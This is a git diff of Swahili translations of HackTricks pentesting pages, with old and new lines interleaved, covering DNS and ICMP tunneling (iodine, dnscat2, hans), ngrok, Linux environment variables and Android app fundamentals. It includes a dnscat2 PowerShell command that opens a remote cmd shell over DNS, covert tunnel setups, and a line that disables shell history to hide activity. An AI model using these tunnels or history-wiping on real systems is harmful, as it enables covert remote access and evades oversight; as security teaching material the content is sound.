victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Tunnel itakuwa polepole sana. Unaweza kuunda uhusiano wa SSH uliopunguzwa kupitia handaki hili kwa kutumia:
Tunnel itakuwa polepole sana. Unaweza kuunda uhusiano wa SSH uliopimwa kupitia handaki hili kwa kutumia:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@ -407,7 +407,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
#### **Kwa PowerShell**
Unaweza kutumia [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kutekeleza mteja wa dnscat2 kwenye powershell:
Unaweza kutumia [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kufanya mteja wa dnscat2 kwenye powershell:
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
@ -419,20 +419,20 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### Badilisha DNS ya proxychains
Proxychains inakamata wito wa libc wa `gethostbyname` na kufanya ombi la DNS la tcp kupitia socks proxy. Kwa **default** server ya **DNS** ambayo proxychains hutumia ni **4.2.2.2** (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika mazingira ya **Windows** unaweza kuweka IP ya **domain controller**.
Proxychains inakamata wito wa libc wa `gethostbyname` na kufanya ombi la DNS la tcp kupitia proxy ya socks. Kwa **chaguo-msingi** serveri ya **DNS** ambayo proxychains hutumia ni **4.2.2.2** (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika mazingira ya **Windows** unaweza kuweka IP ya **domain controller**.
## Tunnels katika Go
## Mita Mita katika Go
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
## ICMP Tunneling
## Uchimbaji wa ICMP
### Hans
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Root inahitajika katika mifumo yote kujenga viunganishi vya tun na kutuma data kati yao kutumia ICMP echo requests.
Root inahitajika katika mifumo yote mawili ili kuunda viunganishi vya tun na kuchimba data kati yao kwa kutumia maombi ya echo ya ICMP.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -457,7 +457,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
**[ngrok](https://ngrok.com/) ni chombo cha kufunua suluhisho kwa Mtandao kwa amri moja.**
*URI za Kufunua ni kama:* **UID.ngrok.io**
*Exposition URI ni kama:* **UID.ngrok.io**
### Usakinishaji
@ -473,7 +473,7 @@ chmod a+x ./ngrok
**Nyaraka:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
*Pia niwezekanavyo kuongeza uthibitishaji na TLS, ikiwa ni lazima.*
*Pia niwezekana kuongeza uthibitisho na TLS, ikiwa ni lazima.*
#### Kuchimba Barabara ya TCP
```bash
@ -488,7 +488,7 @@ chmod a+x ./ngrok
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
#### Kunasa wito wa HTTP
#### Kuchunguza simu za HTTP
*Inatumika kwa XSS, SSRF, SSTI ...*
Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
@ -524,7 +524,7 @@ addr: file:///tmp/httpbin/
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -534,10 +534,10 @@ addr: file:///tmp/httpbin/
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -53,33 +53,33 @@ printenv
cat /proc/$$/environ
cat /proc/`python -c "import os; print(os.getppid())"`/environ
```
## Vipimo vya kawaida
## Mipangilio ya kawaida
Kutoka: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** kiolesura kinachotumiwa na **X**. Kipimo hiki kawaida huwekwa kama **:0.0**, ambayo inamaanisha kiolesura cha kwanza kwenye kompyuta ya sasa.
* **DISPLAY** kiolesura kinachotumiwa na **X**. Kwa kawaida, hii huwekwa kama **:0.0**, ambayo inamaanisha kiolesura cha kwanza kwenye kompyuta ya sasa.
* **EDITOR** mhariri wa maandishi unaopendelewa na mtumiaji.
* **HISTFILESIZE** idadi kubwa ya mistari inayojumuishwa kwenye faili ya historia.
* **HISTSIZE** Idadi ya mistari inayoongezwa kwenye faili ya historia wakati mtumiaji anamaliza kipindi chake.
* **HISTFILESIZE** idadi kubwa ya mistari inayoweza kuwepo kwenye faili ya historia.
* **HISTSIZE** Idadi ya mistari inayoongezwa kwenye faili ya historia wakati mtumiaji anapomaliza kikao chake.
* **HOME** saraka yako ya nyumbani.
* **HOSTNAME** jina la mwenyeji wa kompyuta.
* **LANG** lugha yako ya sasa.
* **MAIL** eneo la sanduku la barua pepe la mtumiaji. Kawaida **/var/spool/mail/USER**.
* **MAIL** mahali pa sanduku la barua pepe la mtumiaji. Kawaida **/var/spool/mail/USER**.
* **MANPATH** orodha ya saraka za kutafuta kurasa za mwongozo.
* **OSTYPE** aina ya mfumo wa uendeshaji.
* **PS1** ishara ya amri ya msingi katika bash.
* **PATH** inahifadhi njia ya saraka zote zinazoshikilia faili za binary unazotaka kutekeleza kwa kuzitaja kwa jina la faili na sio kwa njia ya kihusishi au kamili.
* **PATH** hifadhi njia ya saraka zote zinazoshikilia faili za binary unazotaka kutekeleza kwa kuzitaja kwa jina la faili na sio kwa njia ya kihusishi au kamili.
* **PWD** saraka ya kazi ya sasa.
* **SHELL** njia ya kabidhi ya amri ya sasa (kwa mfano, **/bin/bash**).
* **SHELL** njia ya kabu ya amri ya sasa (kwa mfano, **/bin/bash**).
* **TERM** aina ya terminal ya sasa (kwa mfano, **xterm**).
* **TZ** muda wako wa eneo.
* **TZ** eneo lako la muda.
* **USER** jina lako la mtumiaji la sasa.
## Vipimo vya kuvutia kwa udukuzi
## Mipangilio ya kuvutia kwa udukuzi
### **HISTFILESIZE**
Badilisha **thamani ya kipimo hiki kuwa 0**, hivyo unapomaliza **kipindi chako** faili ya **historia** (\~/.bash\_history) **itafutwa**.
Badilisha **thamani ya kipengele hiki kuwa 0**, ili unapomaliza **kikao chako** faili ya **historia** (\~/.bash\_history) **itaondolewa**.
```bash
export HISTFILESIZE=0
```
@ -105,11 +105,11 @@ export SSL_CERT_DIR=/path/to/ca-certificates
```
### PS1
Badilisha jinsi dirisha lako la amri linavyoonekana.
**Badilisha jinsi dirisha lako la amri linavyoonekana.**
[**Hii ni mfano**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
Root:
Mizizi:
![](<../.gitbook/assets/image (87).png>)
@ -125,15 +125,15 @@ Kazi moja iliyowekwa nyuma, moja imezuiliwa na amri ya mwisho haikumalizika kwa
![](<../.gitbook/assets/image (90).png>)
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:

View file

@ -6,17 +6,17 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks katika PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
**Kikundi cha Usalama cha Kujitahidi**
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,38 +26,38 @@ Njia nyingine za kusaidia HackTricks:
**Kuna safu mbili:**
* **OS**, ambayo inaweka maombi yaliyosanikishwa kando na mwingine.
* **OS**, ambayo inaweka maombi yaliyosanikishwa kwa mbali kutoka kwa mwingine.
* **Maombi yenyewe**, ambayo inaruhusu watengenezaji ku **funua baadhi ya utendaji** na kusanidi uwezo wa maombi.
### Ufafanuzi wa UID
### Utofautishaji wa UID
**Kila maombi hupewa Kitambulisho cha Mtumiaji maalum**. Hii hufanywa wakati wa usakinishaji wa programu ili **programu iweze kuingiliana tu na faili zilizomilikiwa na Kitambulisho chake cha Mtumiaji au faili zilizoshirikiwa**. Kwa hivyo, ni programu yenyewe, sehemu fulani za OS na mtumiaji wa msingi tu wanaweza kupata data za programu.
**Kila maombi hupewa Kitambulisho cha Mtumiaji maalum**. Hii hufanywa wakati wa usanidi wa programu ili **programu iweze kuingiliana tu na faili zilizomilikiwa na Kitambulisho chake cha Mtumiaji au faili zilizoshirikiwa**. Kwa hivyo, ni programu yenyewe, sehemu fulani za OS na mtumiaji wa msingi tu wanaweza kupata data za programu.
### Kushiriki UID
**Maombi mawili yanaweza kusanidiwa kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa data ya maombi yote itashambuliwa. Ndio maana tabia hii inapendekezwa **kutofanywa**.\
**Maombi mawili yanaweza kusanidiwa kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa data ya maombi yote itashambuliwa. Ndio maana tabia hii ina **kukataliwa**.\
**Ili kushiriki UID sawa, maombi lazima yatamke thamani sawa ya `android:sharedUserId` katika mizizi yao.**
### Sandboksi
### Sandboxing
**Sandbox ya Maombi ya Android** inaruhusu kufanya kazi **kila maombi** kama **mchakato tofauti chini ya Kitambulisho cha Mtumiaji tofauti**. Kila mchakato una mashine yake ya kisasa, kwa hivyo msimbo wa programu hufanya kazi kivyake kutoka kwa programu zingine.\
Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wa michakato yote na kisha ikatengeneza sera za **kuruhusu mwingiliano uliotarajiwa kati yao tu**.
**Sanbox ya Maombi ya Android** inaruhusu kufanya kazi **kila maombi** kama **mchakato tofauti chini ya Kitambulisho cha Mtumiaji tofauti**. Kila mchakato una mashine yake ya kisasa, hivyo msimbo wa programu unafanya kazi kivyake kutoka kwa programu nyingine.\
Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wa mchakato wote na kisha iliunda sera za **kuruhusu mwingiliano uliotarajiwa kati yao tu**.
### Ruhusa
Unapoweka **programu na inauliza ruhusa**, programu inauliza ruhusa zilizosanidiwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya sifa ya **jina**. Pia ina sifa ya **maxSdkVersion** ambayo inazuia kuuliza ruhusa kwenye toleo zaidi ya lile lililoelezwa.\
Tambua kwamba maombi ya android hayahitaji kuuliza ruhusa zote mwanzoni, wanaweza pia **kuuliza ruhusa kwa njia ya kudhibiti** lakini ruhusa zote lazima **zitamkwe** katika **mizizi.**
Tambua kwamba maombi ya android hayahitaji kuuliza ruhusa zote mwanzoni, wanaweza pia **kuuliza ruhusa kwa kudhibiti** lakini ruhusa zote lazima zitangazwe katika **mizizi.**
Wakati programu inapofunua utendaji inaweza kikomo **upatikanaji kwa maombi tu yenye ruhusa iliyotajwa**.\
Wakati programu inafunua utendaji inaweza kikomo **upatikanaji kwa maombi tu yenye ruhusa iliyotajwa**.\
Kipengele cha ruhusa kina sifa tatu:
* **Jina** la ruhusa
* Sifa ya **kikundi cha ruhusa**, ambayo inaruhusu kwa kikundi cha ruhusa kinachohusiana.
* Sifa ya **kikundi cha ruhusa**, ambayo inaruhusu kikundi cha ruhusa kinachohusiana.
* **Kiwanja cha ulinzi** ambacho kinaonyesha jinsi ruhusa zinavyotolewa. Kuna aina nne:
* **Kawaida**: Hutumiwa wakati hakuna **tishio lililojulikana** kwa programu. Mtumiaji **hahitajiki kuidhinisha**.
* **Hatari**: Inaonyesha ruhusa inayompa maombi yanayotaka **upatikanaji ulioinuliwa**. **Watumiaji wanahitajika kuziidhinisha**.
* **Sahihi**: **Maombi yaliyosainiwa na cheti kile kile** kama lile linaloexport kipengee kinaweza kupewa ruhusa. Hii ni aina yenye nguvu zaidi ya ulinzi.
* **SahihiAuMfumo**: **Maombi yaliyosainiwa na cheti kile kile** kama lile linaloexport kipengee au **maombi yanayotumia upatikanaji wa kiwango cha mfumo** yanaweza kupewa ruhusa
* **Hatari**: Inaonyesha ruhusa inayompa maombi yanayotaka **upatikanaji ulioinuliwa**. **Watumiaji wanahitajika kuidhinisha**.
* **Sahihi**: **Maombi yaliyosainiwa na cheti kile kile** kinachotumia kipengee kinaweza kupewa ruhusa. Hii ni aina yenye nguvu zaidi ya ulinzi.
* **SahihiAuMfumo**: **Maombi yaliyosainiwa na cheti kile kile** kinachotumia kipengee au **maombi yanayotumia upatikanaji wa kiwango cha mfumo** yanaweza kupewa ruhusa
## Maombi Yaliyosanikishwa Kabla
@ -65,14 +65,14 @@ Maombi haya kwa kawaida hupatikana katika **`/system/app`** au **`/system/priv-a
* Yaliyotumwa na **AOSP** (Mradi wa Chanzo Wazi wa Android) **ROM**
* Yaliyotolewa na **mtengenezaji wa kifaa**
* Yaliyotolewa na **mtoa huduma wa simu** (ikiwa imeununua kutoka kwao)
* Yaliyotolewa na **mtoa huduma wa simu** (ikiwa imeununuliwa kutoka kwao)
## Kuroot
Ili kupata ufikiaji wa msingi kwenye kifaa cha android unahitaji kwa ujumla **kutumia** 1 au 2 **udhaifu** ambao kawaida huwa **maalum** kwa **kifaa** na **toleo**.\
Maranyingi baada ya udhaifu kufanya kazi, kawaida `su` ya Linux inakopiwa kwenye eneo lililoelezwa katika PATH env variable ya mtumiaji kama vile `/system/xbin`.
Baada ya udhaifu kufanya kazi, kawaida `su` ya Linux inakopiwa kwenye eneo lililoelezwa katika PATH env variable ya mtumiaji kama vile `/system/xbin`.
Baada ya `su` binary kuwekwa, programu nyingine ya Android hutumiwa kuingiliana na `su` binary na **kutimiza maombi ya ufikiaji wa msingi** kama **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play).
Baada ya `su` binary kuwekwa, programu nyingine ya Android hutumiwa kuingiliana na `su` binary na **kutuma maombi ya ufikiaji wa msingi** kama **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play).
{% hint style="danger" %}
Tambua kwamba mchakato wa kuroot ni hatari sana na unaweza kuharibu vibaya kifaa
@ -87,22 +87,22 @@ Tambua kwamba **sio lazima kila wakati kuroot kifaa** kusanikisha firmware ya de
### Matokeo
Maranyingi kifaa kikiroot, programu yoyote inaweza kuomba ufikiaji kama msingi. Ikiwa programu mbaya inapata, inaweza kupata ufikiaji wa karibu kila kitu na itaweza kuharibu simu.
Marakwet kifaa kimeroot, programu yoyote inaweza kuomba ufikiaji kama msingi. Ikiwa programu mbaya inapata, inaweza kupata ufikiaji wa karibu kila kitu na itaweza kuharibu simu.
## Misingi ya Maombi ya Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Muundo wa maombi ya Android unaitwa _muundo wa faili ya APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha kificho cha faili kuwa .zip, maudhui yanaweza kuchimbuliwa na kuonekana).
- Muundo wa maombi ya Android unaitwa _muundo wa faili wa APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha jina la kielelezo cha faili kuwa .zip, maudhui yanaweza kuchimbuliwa na kuonekana).
- Yaliyomo ya APK (Hayakamilishi)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: ina rasilimali zilizopangwa mapema, kama XML ya binary.
- res/xml/files\_paths.xml
- META-INF/
- Hapa ndipo Cheti linapatikana!
- Hapa ndipo Cheti lilipo!
- **classes.dex**
- Ina bytecode ya Dalvik, ikionyesha msimbo uliokompiliwa wa Java (au Kotlin) ambao programu inatekeleza kwa chaguo-msingi.
- lib/
- Ina maktaba za asili, zilizogawanywa kulingana na muundo wa CPU katika vichwa vya subdirectories.
- Ina maktaba za asili, zilizogawanywa kulingana na muundo wa CPU katika saraka za sekondari.
- `armeabi`: msimbo kwa processors za msingi wa ARM
- `armeabi-v7a`: msimbo kwa processors za ARMv7 na zaidi
- `x86`: msimbo kwa processors za X86
@ -113,34 +113,34 @@ Maranyingi kifaa kikiroot, programu yoyote inaweza kuomba ufikiaji kama msingi.
- Ina rasilimali ambazo hazijakusanywa katika resources.arsc
### **Dalvik & Smali**
Katika maendeleo ya Android, **Java au Kotlin** hutumiwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya nambari hii kuwa **Dalvik Executable (DEX) bytecode**. Awali, mashine ya kawaida ya Dalvik ilishughulikia bytecode huu, lakini sasa, Android Runtime (ART) inachukua jukumu hili katika toleo jipya la Android.
Katika maendeleo ya Android, **Java au Kotlin** hutumiwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya nambari hii kuwa **Dalvik Executable (DEX) bytecode**. Zamani, mashine ya kawaida ya Dalvik ilishughulikia bytecode huu, lakini sasa, Android Runtime (ART) inachukua jukumu hili katika toleo jipya la Android.
Kwa uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza kusomwa na binadamu la DEX bytecode, likifanya kazi kama lugha ya mkutano kwa kutafsiri nambari ya chanzo kuwa maagizo ya bytecode. Smali na baksmali hurejelea zana za mkutano na kuvunja tena katika muktadha huu.
## Intents
Intents ni njia kuu ambayo programu za Android zinawasiliana kati ya vipengee vyao au na programu zingine. Vitu hivi vya ujumbe pia vinaweza kubeba data kati ya programu au kipengee, kama jinsi maombi ya GET/POST yanavyotumiwa katika mawasiliano ya HTTP.
Intents ni njia kuu ambayo programu za Android zinawasiliana kati ya vipengele vyao au na programu nyingine. Vitu hivi vya ujumbe pia vinaweza kubeba data kati ya programu au kipengele, kama jinsi maombi ya GET/POST yanavyotumiwa katika mawasiliano ya HTTP.
Kwa hivyo, Intent ni **ujumbe unaopitishwa kati ya vipengee**. Intents **zinaweza kuwa zimeelekezwa** kwa vipengee au programu maalum, **au zinaweza kutumwa bila mpokeaji maalum**.\
Kwa hivyo, Intent ni **ujumbe unaopitishwa kati ya vipengele**. Intents **zinaweza kuwa zimeelekezwa** kwa vipengele au programu maalum, **au zinaweza kutumwa bila mpokeaji maalum**.\
Ili kuwa rahisi, Intent inaweza kutumika:
* Kuanza Shughuli, kwa kawaida kufungua kiolesura cha mtumiaji kwa programu
* Kama matangazo ya kuarifu mfumo na programu za mabadiliko
* Kuanza, kusimamisha, na kuwasiliana na huduma ya nyuma
* Kupata data kupitia Watoaji wa Yaliyomo
* Kama maingiliano ya kushughulikia matukio
* Kama maagizo ya kushughulikia matukio
Ikiwa ina kasoro, **Intents zinaweza kutumika kufanya aina mbalimbali za mashambulizi**.
### Intent-Filter
**Intent Filters** hufafanua **jinsi shughuli, huduma, au Kipokeaji cha Matangazo kinaweza kuingiliana na aina tofauti za Intents**. Kimsingi, hufafanua uwezo wa vipengee hivi, kama vile vitendo wanavyoweza kutekeleza au aina za matangazo wanayoweza kusindika. Mahali kuu pa kutangaza vichungi hivi ni ndani ya faili ya **AndroidManifest.xml**, ingawa kwa Kipokeaji cha Matangazo, kuandika ni chaguo pia.
**Intent Filters** hufafanua **jinsi shughuli, huduma, au Mpokeaji wa Matangazo wanavyoweza kuingiliana na aina tofauti za Intents**. Kimsingi, hufafanua uwezo wa vipengele hivi, kama vile vitendo wanavyoweza kutekeleza au aina za matangazo wanazoweza kusindika. Mahali kuu pa kutangaza vichungi hivi ni ndani ya faili ya **AndroidManifest.xml**, ingawa kwa Mpokeaji wa Matangazo, kuandika ni chaguo pia.
Intent Filters zimeundwa na vikundi, vitendo, na vichungi vya data, na uwezekano wa kuingiza metadata ziada. Hii inaruhusu vipengee kushughulikia Intents maalum ambazo zinalingana na vigezo vilivyotangazwa.
Intent Filters zimeundwa na vikundi, vitendo, na vichungi vya data, na uwezekano wa kuingiza metadata ziada. Hii inaruhusu vipengele kushughulikia Intents maalum ambazo zinalingana na vigezo vilivyotangazwa.
Jambo muhimu la vipengee vya Android (shughuli/huduma/watoaji wa yaliyomo/Kipokeaji cha Matangazo) ni uonekano wao au **hali ya umma**. Kipengee kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu zingine ikiwa kina **`exported`** na thamani ya **`true`** au ikiwa Kichungi cha Intent kimetangazwa kwa hiyo katika maelezo yake. Walakini, kuna njia kwa watengenezaji kudumisha vipengee hivi kuwa binafsi, kuhakikisha kuwa haviingiliani na programu zingine kwa bahati mbaya. Hii inafanikiwa kwa kuweka sifa ya **`exported`** kuwa **`false`** katika ufafanuzi wao wa maandishi.
Jambo muhimu la vipengele vya Android (shughuli/huduma/watoaji wa yaliyomo/mpokeaji wa matangazo) ni uonekano wao au **hali ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kina **`exported`** na thamani ya **`true`** au ikiwa Intent Filter imetangazwa kwa hiyo katika maelezo ya kimaandishi. Walakini, kuna njia kwa watengenezaji kudumisha vipengele hivi kuwa binafsi, kuhakikisha kuwa havichangiliani na programu nyingine kwa bahati mbaya. Hii inafanikiwa kwa kuweka sifa ya **`exported`** kuwa **`false`** katika ufafanuzi wao wa maelezo.
Zaidi ya hayo, watengenezaji wana chaguo la kuhakikisha upatikanaji wa vipengee hivi zaidi kwa kuhitaji ruhusa maalum. Sifa ya **`permission`** inaweza kuwekwa ili kuhakikisha kuwa ni programu zenye ruhusa iliyopewa tu ndizo zinaweza kupata kipengee, kuongeza safu ya ziada ya usalama na udhibiti juu ya ni nani anaweza kuingiliana nacho.
Zaidi ya hayo, watengenezaji wana chaguo la kufikia upatikanaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. Sifa ya **`permission`** inaweza kuwekwa ili kuhakikisha kuwa ni programu zenye ruhusa iliyopewa tu ndizo zinaweza kupata kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya ni nani anaweza kuingiliana nacho.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -148,13 +148,13 @@ Zaidi ya hayo, watengenezaji wana chaguo la kuhakikisha upatikanaji wa vipengee
```
### Nia Zisizo Dhahiri
Nia hutengenezwa kwa kutumia kujenzi la Nia:
Nia hutengenezwa kwa kutumia kujenga kwa programu kwa kutumia kujenga kwa Nia:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
**Hatua** ya nia iliyotangazwa awali ni **ACTION\_SEND** na **Zaidi** ni mailto **Uri** (Zaidi ni habari ya ziada ambayo nia inatarajia).
Nia hii inapaswa kutangazwa ndani ya mwonekano kama katika mfano ufuatao:
Nia hii inapaswa kutangazwa ndani ya mwonekano kama ilivyo katika mfano ufuatao:
```xml
<activity android:name="ShareActivity">
<intent-filter>
@ -165,11 +165,11 @@ Nia hii inapaswa kutangazwa ndani ya mwonekano kama katika mfano ufuatao:
```
Intent-filter inahitaji kufanana na **action**, **data** na **category** ili kupokea ujumbe.
Mchakato wa "Uamuzi wa Intent" unahusisha kujua ni app gani inapaswa kupokea kila ujumbe. Mchakato huu unazingatia **sifa ya kipaumbele**, ambayo inaweza kuwekwa katika **tamko la intent-filter**, na **ile yenye kipaumbele kikubwa zaidi itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **mgogoro** unatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuchagua**.
Mchakato wa "Uamuzi wa Intent" unahusisha kujua ni app gani itapokea kila ujumbe. Mchakato huu unazingatia **sifa ya kipaumbele**, ambayo inaweza kuwekwa katika **tamko la intent-filter**, na **ile yenye kipaumbele kikubwa zaidi itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **mgogoro** unatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuchagua**.
### Intents Dhahiri
Intent dhahiri inabainisha jina la darasa inayolenga:
Intent dhahiri inabainisha jina la darasa inayolengwa:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
@ -185,7 +185,7 @@ Hizi huruhusu programu zingine kuchukua hatua kwa niaba ya programu yako, zikitu
### Broadcast Intents
Tofauti na nia za awali, ambazo hupokelewa na programu moja tu, nia za matangazo zinaweza kupokelewa na programu nyingi. Walakini, kutoka kwa toleo la API 14, ni rahisi kufafanua programu inayopaswa kupokea ujumbe kwa kutumia Intent.set Package.
Tofauti na nia za awali, ambazo hupokelewa na programu moja tu, nia za matangazo zinaweza kupokelewa na programu nyingi. Walakini, kuanzia toleo la API 14, ni rahisi kufafanua programu inayopaswa kupokea ujumbe kwa kutumia Intent.set Package.
Kwa kuongezea, ni rahisi pia kufafanua ruhusa wakati wa kutuma matangazo. Programu ya kupokea itahitaji kuwa na ruhusa hiyo.
@ -199,7 +199,7 @@ Aina hii ya Matangazo inaweza kupatikana muda mrefu baada ya kutumwa. Hizi zilip
